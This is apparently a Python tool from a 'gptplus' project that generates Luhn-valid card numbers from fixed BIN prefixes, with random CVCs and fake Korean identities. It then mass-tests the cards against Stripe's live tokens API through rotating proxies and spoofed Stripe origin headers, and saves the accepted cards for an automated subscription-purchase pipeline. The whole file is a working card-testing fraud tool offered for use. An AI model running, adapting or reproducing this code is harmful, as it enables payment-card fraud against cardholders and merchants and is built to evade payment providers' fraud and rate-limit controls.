gpt-plus-gpt/tools/validate_cards.py

#!/usr/bin/env python3
"""
Card Pre-Validator — Generate and validate cards via Stripe /v1/tokens.
Saves valid cards to a file for use by the main gptplus pipeline.

Usage:
    python validate_cards.py --count 3000 --concurrency 20 --output valid_cards.txt
    python validate_cards.py --count 1000 --pk pk_live_xxx --bin 6258142602
"""

import argparse
import asyncio
import random
import time
import sys
from datetime import datetime, timedelta

try:
    import aiohttp
except ImportError:
    print("需要安装 aiohttp: pip install aiohttp")
    sys.exit(1)

# ─── Default Config ───

DEFAULT_BINS = ["6258142602", "62581717"]
DEFAULT_COUNTRY = "KR"
DEFAULT_CURRENCY = "KRW"
STRIPE_TOKENS_URL = "https://api.stripe.com/v1/tokens"

# Korean address data for random generation
KOREAN_CITIES = [
    ("Seoul", "서울특별시", "11"),
    ("Busan", "부산광역시", "26"),
    ("Incheon", "인천광역시", "28"),
    ("Daegu", "대구광역시", "27"),
    ("Daejeon", "대전광역시", "30"),
    ("Gwangju", "광주광역시", "29"),
    ("Suwon", "경기도", "41"),
    ("Seongnam", "경기도", "41"),
]

KOREAN_STREETS = [
    "Gangnam-daero", "Teheran-ro", "Sejong-daero", "Eulji-ro",
    "Jongno", "Hangang-daero", "Dongho-ro", "Yeoksam-ro",
    "Apgujeong-ro", "Sinsa-dong", "Nonhyeon-ro", "Samseong-ro",
]

KOREAN_NAMES = [
    "Kim Min Jun", "Lee Seo Yeon", "Park Ji Hoon", "Choi Yuna",
    "Jung Hyun Woo", "Kang Soo Jin", "Yoon Tae Yang", "Lim Ha Eun",
    "Han Seung Ho", "Shin Ye Rin", "Song Jae Min", "Hwang Mi Rae",
    "Bae Dong Hyun", "Jeon So Hee", "Ko Young Jun", "Seo Na Yeon",
]

KOREAN_ZIPS = [
    "06010", "06134", "06232", "06611", "07258", "08502", "04778",
    "05502", "03181", "02578", "01411", "04516", "05854", "06775",
]


# ─── Card Generation ───

def luhn_check_digit(partial: str) -> str:
    """Calculate Luhn check digit for a partial card number."""
    digits = [int(d) for d in partial]
    # Double every second digit from right (starting from the rightmost)
    for i in range(len(digits) - 1, -1, -2):
        digits[i] *= 2
        if digits[i] > 9:
            digits[i] -= 9
    total = sum(digits)
    check = (10 - (total % 10)) % 10
    return str(check)


def generate_card(bins: list[str]) -> dict:
    """Generate a random card number with valid Luhn checksum."""
    bin_prefix = random.choice(bins)
    total_len = 16
    fill_len = total_len - len(bin_prefix) - 1  # -1 for check digit

    partial = bin_prefix + "".join([str(random.randint(0, 9)) for _ in range(fill_len)])
    check = luhn_check_digit(partial)
    number = partial + check

    # Random expiry 12-48 months from now
    future = datetime.now() + timedelta(days=random.randint(365, 365 * 4))
    exp_month = f"{future.month:02d}"
    exp_year = str(future.year)

    # Random CVC
    cvc = f"{random.randint(0, 999):03d}"

    # Random Korean identity
    city_data = random.choice(KOREAN_CITIES)
    name = random.choice(KOREAN_NAMES)
    street_num = random.randint(1, 300)
    street = random.choice(KOREAN_STREETS)
    zip_code = random.choice(KOREAN_ZIPS)

    return {
        "number": number,
        "exp_month": exp_month,
        "exp_year": exp_year,
        "cvc": cvc,
        "name": name,
        "country": DEFAULT_COUNTRY,
        "currency": DEFAULT_CURRENCY,
        "address": f"{street_num} {street}",
        "city": city_data[0],
        "state": city_data[2],
        "postal_code": zip_code,
    }


# ─── Stripe Validation ───

def _rotate_proxy(proxy_template: str) -> str:
    """Generate a unique proxy URL by replacing session placeholder with random value.
    e.g. 'http://USER-session-{SESSION}-xxx:pass@host:port' → unique session per request."""
    if not proxy_template:
        return ""
    if "{SESSION}" in proxy_template:
        session_id = f"{random.randint(100000, 999999)}"
        return proxy_template.replace("{SESSION}", session_id)
    # If no {SESSION} placeholder, append random session to avoid same IP
    return proxy_template


async def validate_card(session: aiohttp.ClientSession, card: dict, pk: str, proxy_template: str, semaphore: asyncio.Semaphore) -> tuple[dict, bool, str]:
    """Validate a card via Stripe /v1/tokens. Each request gets a unique proxy IP."""
    async with semaphore:
        # Rotate proxy — each request gets a different IP
        proxy = _rotate_proxy(proxy_template)

        data = {
            "card[number]": card["number"],
            "card[exp_month]": card["exp_month"],
            "card[exp_year]": card["exp_year"],
            "card[cvc]": card["cvc"],
            "card[name]": card["name"],
            "card[address_country]": card["country"],
            "card[address_line1]": card["address"],
            "card[address_city]": card["city"],
            "card[address_state]": card["state"],
            "card[address_zip]": card["postal_code"],
        }

        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "Origin": "https://js.stripe.com",
            "Referer": "https://js.stripe.com/",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36",
        }

        try:
            async with session.post(
                f"{STRIPE_TOKENS_URL}?key={pk}",
                data=data,
                headers=headers,
                proxy=proxy if proxy else None,
                timeout=aiohttp.ClientTimeout(total=15),
            ) as resp:
                body = await resp.json()

                if resp.status == 200 and "id" in body:
                    return card, True, ""

                # Extract error
                err = body.get("error", {})
                code = err.get("code", "unknown")
                msg = err.get("message", str(body))
                return card, False, f"{code}: {msg}"

        except asyncio.TimeoutError:
            return card, False, "timeout"
        except Exception as e:
            return card, False, str(e)


def card_to_line(card: dict) -> str:
    """Format card as pipe-delimited line (same format as success_cards.txt)."""
    return "|".join([
        card["number"], card["exp_month"], card["exp_year"], card["cvc"],
        card["name"], card["country"], card["currency"],
        card["address"], card["city"], card["state"], card["postal_code"],
    ])


# ─── Main ───

async def main():
    parser = argparse.ArgumentParser(description="Card Pre-Validator via Stripe /v1/tokens")
    parser.add_argument("--count", type=int, default=1000, help="Number of cards to generate and test")
    parser.add_argument("--concurrency", type=int, default=20, help="Concurrent validation requests")
    parser.add_argument("--output", type=str, default="valid_cards.txt", help="Output file for valid cards")
    parser.add_argument("--pk", type=str, required=True, help="Stripe publishable key (pk_live_xxx)")
    parser.add_argument("--bin", type=str, default="", help="Custom BIN prefix (comma-separated for multiple)")
    parser.add_argument("--proxy", type=str, default="", help="Korean proxy URL (e.g. http://user:pass@host:port)")
    args = parser.parse_args()

    bins = DEFAULT_BINS
    if args.bin:
        bins = [b.strip() for b in args.bin.split(",")]

    proxy = args.proxy or ""

    print(f"=== Card Pre-Validator ===")
    print(f"生成: {args.count} 张")
    print(f"并发: {args.concurrency}")
    print(f"BIN:  {bins}")
    print(f"代理: {proxy if proxy else '无 (直连)'}")
    print(f"输出: {args.output}")
    print()

    # Generate all cards first
    print(f"▶ 生成 {args.count} 张卡...")
    cards = [generate_card(bins) for _ in range(args.count)]
    print(f"✓ 生成完毕")

    # Validate concurrently
    semaphore = asyncio.Semaphore(args.concurrency)
    valid_cards = []
    invalid_count = 0
    error_counts = {}

    start_time = time.time()

    async with aiohttp.ClientSession() as session:
        tasks = [validate_card(session, card, args.pk, proxy, semaphore) for card in cards]

        print(f"▶ 开始验证 (并发={args.concurrency})...")

        done = 0
        for coro in asyncio.as_completed(tasks):
            card, is_valid, err_msg = await coro
            done += 1

            if is_valid:
                valid_cards.append(card)
                last4 = card["number"][-4:]
                print(f"  ✓ [{done}/{args.count}] ...{last4} 有效 (累计有效: {len(valid_cards)})")
            else:
                invalid_count += 1
                # Track error types
                err_type = err_msg.split(":")[0] if ":" in err_msg else err_msg
                error_counts[err_type] = error_counts.get(err_type, 0) + 1

                # Print progress every 100 or on interesting errors
                if done % 100 == 0 or done == args.count:
                    elapsed = time.time() - start_time
                    rate = done / elapsed if elapsed > 0 else 0
                    print(f"  → [{done}/{args.count}] 有效={len(valid_cards)} 无效={invalid_count} ({rate:.1f}/s)")

    elapsed = time.time() - start_time

    # Save valid cards
    if valid_cards:
        with open(args.output, "w") as f:
            for card in valid_cards:
                f.write(card_to_line(card) + "\n")

    # Summary
    print()
    print(f"╔══════════════════════════════════════╗")
    print(f"║          验证结果汇总                ║")
    print(f"╠══════════════════════════════════════╣")
    print(f"║ 总计: {args.count:>6}  耗时: {elapsed:.1f}s         ║")
    print(f"║ 有效: {len(valid_cards):>6}  ({len(valid_cards)/args.count*100:.1f}%)              ║")
    print(f"║ 无效: {invalid_count:>6}                      ║")
    print(f"║ 速率: {args.count/elapsed:.1f}/s                     ║")
    print(f"║ 输出: {args.output:<30s}║")
    print(f"╚══════════════════════════════════════╝")

    if error_counts:
        print(f"\n错误分布:")
        for err, count in sorted(error_counts.items(), key=lambda x: -x[1]):
            print(f"  {err}: {count}")

    print(f"\n有效卡片已保存到 {args.output}")
    print(f"在 config.yaml 中使用:")
    print(f"  card:")
    print(f"    provider: file")
    print(f"    file:")
    print(f"      path: {args.output}")
    print(f"      default_country: KR")
    print(f"      default_currency: KRW")


if __name__ == "__main__":
    asyncio.run(main())